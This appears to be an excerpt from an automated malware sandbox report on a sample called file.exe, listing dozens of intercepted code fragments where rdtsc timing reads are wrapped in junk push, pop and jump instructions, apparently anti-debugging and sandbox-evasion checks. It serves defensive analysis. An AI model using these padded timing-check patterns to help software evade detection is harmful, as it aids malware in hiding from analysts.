Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E58790 second address: E3F1CD instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 js 00007F99C163FAFCh 0x0000000f call dword ptr [ebp+122D2A11h] 0x00000015 push esi 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push ebx 0x0000001a pop ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A2D2 second address: E8A2E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C0D73D4Ch 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8A2E9 second address: E8A2ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F40F second address: E8F419 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99C0D73D65h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F419 second address: E8F440 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FB09h 0x00000009 push eax 0x0000000a push edx 0x0000000b jng 00007F99C163FAF6h 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F440 second address: E8F444 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F444 second address: E8F459 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F99C163FAF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F459 second address: E8F462 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F462 second address: E8F46A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F46A second address: E8F46E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F602 second address: E8F60A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F60A second address: E8F619 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F99C0D73D4Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F619 second address: E8F61F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F902 second address: E8F906 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F906 second address: E8F941 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99C163FAF6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 jmp 00007F99C163FAFDh 0x00000018 popad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d pushad 0x0000001e popad 0x0000001f jmp 00007F99C163FB02h 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F941 second address: E8F958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007F99C0D73D52h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F958 second address: E8F95E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8F95E second address: E8F962 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FC10 second address: E8FC16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FC16 second address: E8FC1A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FDBB second address: E8FDCC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007F99C163FAF6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop ebx 0x0000000c push eax 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FF3C second address: E8FF49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007F99C0D73D4Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E8FF49 second address: E8FF56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 jns 00007F99C163FAF6h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9037E second address: E90384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9093C second address: E90942 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E90942 second address: E90972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jmp 00007F99C0D73D4Eh 0x0000000b jmp 00007F99C0D73D55h 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AD60 second address: E9AD75 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edi 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007F99C163FAF6h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AD75 second address: E9AD79 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9982C second address: E99832 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99832 second address: E9984F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ecx 0x00000006 jmp 00007F99C0D73D4Dh 0x0000000b jnl 00007F99C0D73D46h 0x00000011 pop ecx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99E68 second address: E99E72 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E99E72 second address: E99E81 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 jnc 00007F99C0D73D46h 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A004 second address: E9A00C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994B7 second address: E994CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F99C0D73D46h 0x0000000a jl 00007F99C0D73D46h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994CC second address: E994D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994D0 second address: E994D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994D4 second address: E994DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E994DA second address: E994E4 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99C0D73D4Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A36E second address: E9A382 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007F99C163FAF6h 0x0000000e jnl 00007F99C163FAF6h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A382 second address: E9A3A2 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F99C0D73D53h 0x0000000f push edi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A3A2 second address: E9A3CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FB03h 0x00000009 pop edi 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007F99C163FAFBh 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A3CC second address: E9A3D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A9F7 second address: E9A9FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9A9FB second address: E9AA2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F99C0D73D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007F99C0D73D4Ah 0x00000012 jmp 00007F99C0D73D56h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E9AA2A second address: E9AA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F99C163FB04h 0x0000000c jnc 00007F99C163FAF6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA030F second address: EA0320 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 ja 00007F99C0D73D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0320 second address: EA0325 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0325 second address: EA0331 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F99C0D73D46h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA0331 second address: EA0337 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2AD1 second address: EA2B0C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 push edi 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F99C0D73D59h 0x0000000f jmp 00007F99C0D73D58h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2C72 second address: EA2C76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA2C76 second address: EA2C8C instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jo 00007F99C0D73D4Ch 0x00000010 jl 00007F99C0D73D46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4940 second address: EA4944 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4944 second address: EA4958 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99C0D73D4Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA4958 second address: EA496B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b jne 00007F99C163FAF6h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA496B second address: EA496F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA496F second address: EA499E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F99C163FB02h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F99C163FB07h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8BC9 second address: EA8BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F99C0D73D46h 0x0000000a push eax 0x0000000b pop eax 0x0000000c popad 0x0000000d push eax 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EA8EA2 second address: EA8EA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB925 second address: EAB930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB930 second address: EAB934 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB934 second address: EAB940 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F99C0D73D46h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EAB940 second address: EAB950 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F99C163FB02h 0x00000008 jno 00007F99C163FAF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABBDF second address: EABBE3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABBE3 second address: EABBE9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABBE9 second address: EABBEE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABBEE second address: EABC08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d jng 00007F99C163FB04h 0x00000013 pushad 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EABEDF second address: EABEEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 pop eax 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB02B8 second address: EB02BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB02BC second address: EB02C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB02C2 second address: EB02C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB02C6 second address: EB02CC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB02CC second address: EB0301 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jc 00007F99C163FAF6h 0x0000000d pop eax 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 pushad 0x00000013 popad 0x00000014 jno 00007F99C163FAF6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F99C163FB08h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0301 second address: EB0307 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB045A second address: EB045E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB045E second address: EB047E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99C0D73D56h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB047E second address: EB0484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0484 second address: EB0488 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0601 second address: EB060B instructions: 0x00000000 rdtsc 0x00000002 ja 00007F99C163FAF6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB060B second address: EB0615 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0615 second address: EB061B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB061B second address: EB063C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F99C0D73D58h 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0934 second address: EB094A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edi 0x00000007 pushad 0x00000008 jg 00007F99C163FAF6h 0x0000000e jg 00007F99C163FAF6h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E5818A second address: E5818E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C0B second address: EB0C35 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F99C163FAF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jl 00007F99C163FB10h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C35 second address: EB0C3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C3B second address: EB0C49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007F99C163FAFEh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C49 second address: EB0C56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C56 second address: EB0C74 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F99C163FAF6h 0x00000008 jnp 00007F99C163FAF6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jl 00007F99C163FAF6h 0x00000018 jne 00007F99C163FAF6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB0C74 second address: EB0C99 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F99C0D73D46h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F99C0D73D4Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 jmp 00007F99C0D73D4Bh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB86A2 second address: EB86B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 ja 00007F99C163FAF6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8EFB second address: EB8F01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB8F01 second address: EB8F41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F99C163FB07h 0x00000009 jmp 00007F99C163FB09h 0x0000000e popad 0x0000000f jmp 00007F99C163FAFBh 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9264 second address: EB9286 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007F99C0D73D57h 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9543 second address: EB9551 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007F99C163FAF6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB981A second address: EB981E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB981E second address: EB9826 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: EB9826 second address: EB9841 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007F99C0D73D4Dh 0x00000013 rdtsc
